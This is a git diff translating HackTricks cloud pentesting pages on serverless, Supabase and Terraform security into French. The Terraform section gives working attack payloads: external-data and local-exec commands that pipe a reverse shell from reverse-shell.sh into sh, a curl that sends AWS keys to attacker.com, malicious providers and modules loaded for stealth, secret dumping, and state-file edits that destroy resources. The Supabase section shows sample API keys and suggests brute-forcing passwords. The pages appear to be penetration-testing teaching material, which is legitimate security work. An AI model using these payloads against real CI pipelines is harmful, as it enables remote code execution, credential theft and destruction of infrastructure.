-### **Vulnerabilities in Plugins and Extensions**
+### **Vulnérabilités dans les Plugins et Extensions**
 
-Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications.
+L'utilisation de plugins tiers non vérifiés ou malveillants peut introduire des vulnérabilités dans vos applications serverless.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
-- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
-- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
-- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
+- **Vérifiez les Plugins en Profondeur :** Évaluez la sécurité des plugins avant l'intégration, en privilégiant ceux provenant de sources réputées.
+- **Limiter l'Utilisation des Plugins :** Utilisez uniquement les plugins nécessaires pour minimiser la surface d'attaque.
+- **Surveiller les Mises à Jour des Plugins :** Gardez les plugins à jour pour bénéficier des correctifs de sécurité.
+- **Isoler les Environnements de Plugins :** Exécutez les plugins dans des environnements isolés pour contenir d'éventuels compromis.
 
 ---
 
-### **Exposure of Sensitive Endpoints**
+### **Exposition de Points de Terminaison Sensibles**
 
-Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations.
+Des fonctions accessibles au public ou des API non restreintes peuvent être exploitées pour des opérations non autorisées.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
-- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
-- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
-- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
+- **Restreindre l'Accès aux Fonctions :** Utilisez des VPC, des groupes de sécurité et des règles de pare-feu pour limiter l'accès aux sources de confiance.
+- **Mettre en Œuvre une Authentification Robuste :** Assurez-vous que tous les points de terminaison exposés nécessitent une authentification et une autorisation appropriées.
+- **Utiliser les API Gateways de Manière Sécurisée :** Configurez les API Gateways pour appliquer des politiques de sécurité, y compris la validation des entrées et la limitation de taux.
+- **Désactiver les Points de Terminaison Inutilisés :** Passez régulièrement en revue et désactivez tout point de terminaison qui n'est plus utilisé.
 
 ---
 
-### **Excessive Permissions for Team Members and External Collaborators**
+### **Permissions Excessives pour les Membres de l'Équipe et les Collaborateurs Externes**
 
-Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats.
+Accorder des permissions excessives aux membres de l'équipe et aux collaborateurs externes peut entraîner un accès non autorisé, des violations de données et un abus de ressources. Ce risque est accru dans les environnements où plusieurs individus ont des niveaux d'accès variés, augmentant la surface d'attaque et le potentiel de menaces internes.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
+- **Principe du Moindre Privilège :** Assurez-vous que les membres de l'équipe et les collaborateurs n'ont que les permissions nécessaires pour effectuer leurs tâches.
 
 ---
 
-### **Access Keys and License Keys Security**
+### **Sécurité des Clés d'Accès et des Clés de Licence**
 
-**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
+**Clés d'Accès** et **Clés de Licence** sont des identifiants critiques utilisés pour authentifier et autoriser les interactions avec le CLI de Serverless Framework.
 
-- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI.
-- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`.
+- **Clés de Licence :** Ce sont des identifiants uniques requis pour authentifier l'accès à Serverless Framework Version 4 qui permet de se connecter via CLI.
+- **Clés d'Accès :** Ce sont des identifiants qui permettent au CLI de Serverless Framework de s'authentifier avec le Dashboard de Serverless Framework. Lors de la connexion avec le cli `serverless`, une clé d'accès sera **générée et stockée sur l'ordinateur portable**. Vous pouvez également la définir comme une variable d'environnement nommée `SERVERLESS_ACCESS_KEY`.
 
-#### **Security Risks**
+#### **Risques de Sécurité**
 
-1. **Exposure Through Code Repositories:**
-   - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
-2. **Insecure Storage:**
-   - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
-3. **Improper Distribution:**
-   - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
-4. **Lack of Rotation:**
-   - Not regularly rotating keys extends the exposure period if keys are compromised.
-5. **Excessive Permissions:**
-   - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
+1. **Exposition par le biais de Dépôts de Code :**
+- Coder en dur ou commettre accidentellement des Clés d'Accès et des Clés de Licence dans des systèmes de contrôle de version peut entraîner un accès non autorisé.
+2. **Stockage Insecure :**
+- Stocker des clés en texte clair dans des variables d'environnement ou des fichiers de configuration sans chiffrement approprié augmente la probabilité de fuite.
+3. **Distribution Inappropriée :**
+- Partager des clés par des canaux non sécurisés (par exemple, email, chat) peut entraîner une interception par des acteurs malveillants.
+4. **Manque de Rotation :**
+- Ne pas faire tourner régulièrement les clés prolonge la période d'exposition si les clés sont compromises.
+5. **Permissions Excessives :**
+- Des clés avec des permissions larges peuvent être exploitées pour effectuer des actions non autorisées sur plusieurs ressources.
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 6fa6219f8..35766dddc 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -1,50 +1,49 @@
-# Supabase Security
+# Sécurité de Supabase
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
+Selon leur [**page d'accueil**](https://supabase.com/) : Supabase est une alternative open source à Firebase. Commencez votre projet avec une base de données Postgres, Authentification, APIs instantanées, Fonctions Edge, abonnements en temps réel, Stockage et embeddings vectoriels.
 
-### Subdomain
+### Sous-domaine
 
-Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
+En gros, lorsqu'un projet est créé, l'utilisateur recevra un sous-domaine supabase.co comme : **`jnanozjdybtpqgcwhdiz.supabase.co`**
 
-## **Database configuration**
+## **Configuration de la base de données**
 
 > [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
+> **Ces données peuvent être accessibles via un lien comme `https://supabase.com/dashboard/project/<project-id>/settings/database`**
 
-This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
-The password is a **password the user put** previously.
+Cette **base de données** sera déployée dans une région AWS, et pour s'y connecter, il serait possible de le faire en se connectant à : `postgres://postgres.jnanozjdybtpqgcwhdiz:[VOTRE-MOT-DE-PASSE]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (cela a été créé dans us-west-1).\
+Le mot de passe est un **mot de passe que l'utilisateur a saisi** précédemment.
 
-Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
+Par conséquent, comme le sous-domaine est connu et qu'il est utilisé comme nom d'utilisateur et que les régions AWS sont limitées, il pourrait être possible d'essayer de **forcer le mot de passe**.
 
-This section also contains options to:
+Cette section contient également des options pour :
 
-- Reset the database password
-- Configure connection pooling
-- Configure SSL: Reject plan-text connections (by default they are enabled)
-- Configure Disk size
-- Apply network restrictions and bans
+- Réinitialiser le mot de passe de la base de données
+- Configurer le pool de connexions
+- Configurer SSL : Rejeter les connexions en texte clair (par défaut, elles sont activées)
+- Configurer la taille du disque
+- Appliquer des restrictions et des interdictions réseau
 
-## API Configuration
+## Configuration de l'API
 
 > [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
+> **Ces données peuvent être accessibles via un lien comme `https://supabase.com/dashboard/project/<project-id>/settings/api`**
 
-The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
+L'URL pour accéder à l'API supabase dans votre projet sera comme : `https://jnanozjdybtpqgcwhdiz.supabase.co`.
 
-### anon api keys
+### clés API anon
 
-It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
+Elle générera également une **clé API anon** (`role: "anon"`), comme : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` que l'application devra utiliser pour contacter la clé API exposée dans notre exemple dans
 
-It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
+Il est possible de trouver l'API REST pour contacter cette API dans les [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), mais les points de terminaison les plus intéressants seraient :
 
 <details>
 
-<summary>Signup (/auth/v1/signup)</summary>
-
+<summary>Inscription (/auth/v1/signup)</summary>
 ```
 POST /auth/v1/signup HTTP/2
 Host: id.io.net
@@ -69,13 +68,11 @@ Priority: u=1, i
 
 {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
 ```
-
 </details>
 
 <details>
 
-<summary>Login (/auth/v1/token?grant_type=password)</summary>
-
+<summary>Connexion (/auth/v1/token?grant_type=password)</summary>
 ```
 POST /auth/v1/token?grant_type=password HTTP/2
 Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -100,68 +97,63 @@ Priority: u=1, i
 
 {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
 ```
-
 </details>
 
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
+Donc, chaque fois que vous découvrez un client utilisant supabase avec le sous-domaine qui lui a été accordé (il est possible qu'un sous-domaine de l'entreprise ait un CNAME sur leur sous-domaine supabase), vous pourriez essayer de **créer un nouveau compte sur la plateforme en utilisant l'API supabase**.
 
-### secret / service_role api keys
+### clés API secret / service_role
 
-A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
+Une clé API secrète sera également générée avec **`role: "service_role"`**. Cette clé API doit rester secrète car elle pourra contourner **Row Level Security**.
 
-The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
+La clé API ressemble à ceci : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
 
 ### JWT Secret
 
-A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
+Un **JWT Secret** sera également généré afin que l'application puisse **créer et signer des jetons JWT personnalisés**.
 
-## Authentication
+## Authentification
 
-### Signups
+### Inscription
 
 > [!TIP]
-> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
+> Par **défaut**, supabase permettra aux **nouveaux utilisateurs de créer des comptes** sur votre projet en utilisant les points de terminaison API mentionnés précédemment.
 
-However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
-This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
+Cependant, ces nouveaux comptes, par défaut, **devront valider leur adresse e-mail** pour pouvoir se connecter au compte. Il est possible d'activer **"Autoriser les connexions anonymes"** pour permettre aux gens de se connecter sans vérifier leur adresse e-mail. Cela pourrait donner accès à **des données inattendues** (ils obtiennent les rôles `public` et `authenticated`).\
+C'est une très mauvaise idée car supabase facture par utilisateur actif, donc les gens pourraient créer des utilisateurs et se connecter et supabase facturera pour ceux-ci :
 
 <figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-### Passwords & sessions
+### Mots de passe & sessions
 
-It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
-It's recommended to **improve the requirements as the default ones are weak**.
+Il est possible d'indiquer la longueur minimale des mots de passe (par défaut), les exigences (aucune par défaut) et d'interdire l'utilisation de mots de passe compromis.\
+Il est recommandé d'**améliorer les exigences car celles par défaut sont faibles**.
 
-- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
-- Bot and Abuse Protection: It's possible to enable Captcha.
+- Sessions utilisateur : Il est possible de configurer le fonctionnement des sessions utilisateur (délai, 1 session par utilisateur...)
+- Protection contre les bots et les abus : Il est possible d'activer Captcha.
 
-### SMTP Settings
+### Paramètres SMTP
 
-It's possible to set an SMTP to send emails.
+Il est possible de définir un SMTP pour envoyer des e-mails.
 
-### Advanced Settings
+### Paramètres avancés
 
-- Set expire time to access tokens (3600 by default)
-- Set to detect and revoke potentially compromised refresh tokens and timeout
-- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
-- Max Direct Database Connections: Max number of connections used to auth (10 by default)
-- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
+- Définir le temps d'expiration des jetons d'accès (3600 par défaut)
+- Détecter et révoquer les jetons de rafraîchissement potentiellement compromis et le délai
+- MFA : Indiquer combien de facteurs MFA peuvent être enregistrés à la fois par utilisateur (10 par défaut)
+- Max Direct Database Connections : Nombre maximum de connexions utilisées pour l'authentification (10 par défaut)
+- Max Request Duration : Temps maximum autorisé pour qu'une demande d'authentification dure (10s par défaut)
 
-## Storage
+## Stockage
 
 > [!TIP]
-> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
+> Supabase permet **de stocker des fichiers** et de les rendre accessibles via une URL (il utilise des buckets S3).
 
-- Set the upload file size limit (default is 50MB)
-- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
-- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
+- Définir la limite de taille de fichier à télécharger (la valeur par défaut est 50 Mo)
+- La connexion S3 est donnée avec une URL comme : `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- Il est possible de **demander une clé d'accès S3** qui est formée par un `access key ID` (par exemple, `a37d96544d82ba90057e0e06131d0a7b`) et une `secret access key` (par exemple, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
 
-## Edge Functions
+## Fonctions Edge
 
-It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
+Il est possible de **stocker des secrets** dans supabase également, qui seront **accessibles par des fonctions edge** (elles peuvent être créées et supprimées depuis le web, mais il n'est pas possible d'accéder directement à leur valeur).
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 09b875ff2..13dca5215 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -1,308 +1,278 @@
-# Terraform Security
+# Sécurité Terraform
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-[From the docs:](https://developer.hashicorp.com/terraform/intro)
+[Des docs :](https://developer.hashicorp.com/terraform/intro)
 
-HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
+HashiCorp Terraform est un **outil d'infrastructure en tant que code** qui vous permet de définir à la fois des **ressources cloud et sur site** dans des fichiers de configuration lisibles par l'homme que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un flux de travail cohérent pour provisionner et gérer toute votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants de bas niveau comme le calcul, le stockage et les ressources réseau, ainsi que des composants de haut niveau comme les entrées DNS et les fonctionnalités SaaS.
 
-#### How does Terraform work?
+#### Comment fonctionne Terraform ?
 
-Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
+Terraform crée et gère des ressources sur des plateformes cloud et d'autres services via leurs interfaces de programmation d'applications (API). Les fournisseurs permettent à Terraform de fonctionner avec pratiquement n'importe quelle plateforme ou service disposant d'une API accessible.
 
 ![](<../images/image (177).png>)
 
-HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
+HashiCorp et la communauté Terraform ont déjà écrit **plus de 1700 fournisseurs** pour gérer des milliers de types de ressources et de services différents, et ce nombre continue de croître. Vous pouvez trouver tous les fournisseurs disponibles publiquement sur le [Terraform Registry](https://registry.terraform.io/), y compris Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, et bien d'autres.
 
-The core Terraform workflow consists of three stages:
+Le flux de travail principal de Terraform se compose de trois étapes :
 
-- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
-- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
-- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
+- **Écrire :** Vous définissez des ressources, qui peuvent être réparties sur plusieurs fournisseurs et services cloud. Par exemple, vous pourriez créer une configuration pour déployer une application sur des machines virtuelles dans un réseau de Cloud Privé Virtuel (VPC) avec des groupes de sécurité et un équilibreur de charge.
+- **Planifier :** Terraform crée un plan d'exécution décrivant l'infrastructure qu'il va créer, mettre à jour ou détruire en fonction de l'infrastructure existante et de votre configuration.
+- **Appliquer :** Sur approbation, Terraform effectue les opérations proposées dans le bon ordre, en respectant les dépendances des ressources. Par exemple, si vous mettez à jour les propriétés d'un VPC et changez le nombre de machines virtuelles dans ce VPC, Terraform recréera le VPC avant de mettre à l'échelle les machines virtuelles.
 
 ![](<../images/image (215).png>)
 
-### Terraform Lab
+### Laboratoire Terraform
 
-Just install terraform in your computer.
+Il vous suffit d'installer terraform sur votre ordinateur.
 
-Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
+Voici un [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) et ici vous avez la [meilleure façon de télécharger terraform](https://www.terraform.io/downloads).
 
-## RCE in Terraform
+## RCE dans Terraform
 
-Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
+Terraform **n'a pas de plateforme exposant une page web ou un service réseau** que nous pouvons énumérer, donc, la seule façon de compromettre terraform est de **pouvoir ajouter/modifier des fichiers de configuration terraform**.
 
-However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
+Cependant, terraform est un **composant très sensible** à compromettre car il aura **un accès privilégié** à différents emplacements afin de fonctionner correctement.
 
-The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
+La principale façon pour un attaquant de pouvoir compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**.
 
-Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
+En fait, il existe des solutions qui **exécutent automatiquement terraform plan/apply après qu'une PR** soit créée, comme **Atlantis** :
 
 {{#ref}}
 atlantis-security.md
 {{#endref}}
 
-If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
+Si vous êtes capable de compromettre un fichier terraform, il existe différentes façons de réaliser un RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`.
 
 ### Terraform plan
 
-Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
+Terraform plan est la **commande la plus utilisée** dans terraform et les développeurs/solutions utilisant terraform l'appellent tout le temps, donc la **façon la plus simple d'obtenir un RCE** est de s'assurer que vous empoisonnez un fichier de configuration terraform qui exécutera des commandes arbitraires dans un `terraform plan`.
 
-**Using an external provider**
+**Utilisation d'un fournisseur externe**
 
-Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
-
-Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
+Terraform propose le [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) qui fournit un moyen d'interface entre Terraform et des programmes externes. Vous pouvez utiliser la source de données `external` pour exécuter du code arbitraire pendant un `plan`.
 
+Injecter dans un fichier de configuration terraform quelque chose comme ce qui suit exécutera un shell inversé lors de l'exécution de `terraform plan` :
 ```javascript
 data "external" "example" {
-  program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
 }
 ```
+**Utilisation d'un fournisseur personnalisé**
 
-**Using a custom provider**
-
-An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
-
+Un attaquant pourrait envoyer un [fournisseur personnalisé](https://learn.hashicorp.com/tutorials/terraform/provider-setup) au [Terraform Registry](https://registry.terraform.io/) et ensuite l'ajouter au code Terraform dans une branche de fonctionnalité ([exemple ici](https://alex.kaskaso.li/post/terraform-plan-rce)):
 ```javascript
- terraform {
-        required_providers {
-            evil = {
-                source  = "evil/evil"
-                    version = "1.0"
-            }
-        }
-    }
+terraform {
+required_providers {
+evil = {
+source  = "evil/evil"
+version = "1.0"
+}
+}
+}
 
 provider "evil" {}
 ```
+Le fournisseur est téléchargé dans l'`init` et exécutera le code malveillant lorsque `plan` est exécuté.
 
-The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
+Vous pouvez trouver un exemple dans [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
 
-You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+**Utilisation d'une référence externe**
 
-**Using an external reference**
-
-Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+Les deux options mentionnées sont utiles mais pas très discrètes (la seconde est plus discrète mais plus complexe que la première). Vous pouvez effectuer cette attaque même de manière **plus discrète**, en suivant ces suggestions :
 
+- Au lieu d'ajouter le rev shell directement dans le fichier terraform, vous pouvez **charger une ressource externe** qui contient le rev shell :
 ```javascript
 module "not_rev_shell" {
-  source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
 }
 ```
+Vous pouvez trouver le code rev shell dans [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
 
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- Dans la ressource externe, utilisez la fonctionnalité **ref** pour cacher le **code rev shell terraform dans une branche** à l'intérieur du dépôt, quelque chose comme : `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
 
 ### Terraform Apply
 
-Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
-
+Terraform apply sera exécuté pour appliquer tous les changements, vous pouvez également en abuser pour obtenir RCE en injectant **un fichier Terraform malveillant avec** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Vous devez juste vous assurer qu'une charge utile comme les suivantes se termine dans le fichier `main.tf` :
 ```json
 // Payload 1 to just steal a secret
 resource "null_resource" "secret_stealer" {
-  provisioner "local-exec" {
-    command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
-  }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
 }
 
 // Payload 2 to get a rev shell
 resource "null_resource" "rev_shell" {
-  provisioner "local-exec" {
-    command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
-  }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
 }
 ```
-
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
+Suivez les **suggestions de la technique précédente** pour effectuer cette attaque de manière **plus discrète en utilisant des références externes**.
 
 ## Secrets Dumps
 
-You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
-
+Vous pouvez avoir **des valeurs secrètes utilisées par terraform extraites** en exécutant `terraform apply` en ajoutant au fichier terraform quelque chose comme :
 ```json
 output "dotoken" {
-  value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
 }
 ```
+## Abus des fichiers d'état Terraform
 
-## Abusing Terraform State Files
+Dans le cas où vous avez un accès en écriture sur les fichiers d'état terraform mais ne pouvez pas modifier le code terraform, [**cette recherche**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) propose des options intéressantes pour tirer parti du fichier :
 
-In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
+### Suppression de ressources <a href="#deleting-resources" id="deleting-resources"></a>
 
-### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
+Il existe 2 façons de détruire des ressources :
 
-There are 2 ways to destroy resources:
-
-1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
-
-Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
+1. **Insérer une ressource avec un nom aléatoire dans le fichier d'état pointant vers la vraie ressource à détruire**
 
+Parce que terraform verra que la ressource ne devrait pas exister, il la détruira (suivant l'ID de la vraie ressource indiqué). Exemple de la page précédente :
 ```json
 {
-  "mode": "managed",
-  "type": "aws_instance",
-  "name": "example",
-  "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
-  "instances": [
-    {
-      "attributes": {
-        "id": "i-1234567890abcdefg"
-      }
-    }
-  ]
+"mode": "managed",
+"type": "aws_instance",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
+"instances": [
+{
+"attributes": {
+"id": "i-1234567890abcdefg"
+}
+}
+]
 },
 ```
+2. **Modifier la ressource à supprimer de manière à ce qu'il ne soit pas possible de mettre à jour (afin qu'elle soit supprimée et recréée)**
 
-2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
-
-For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
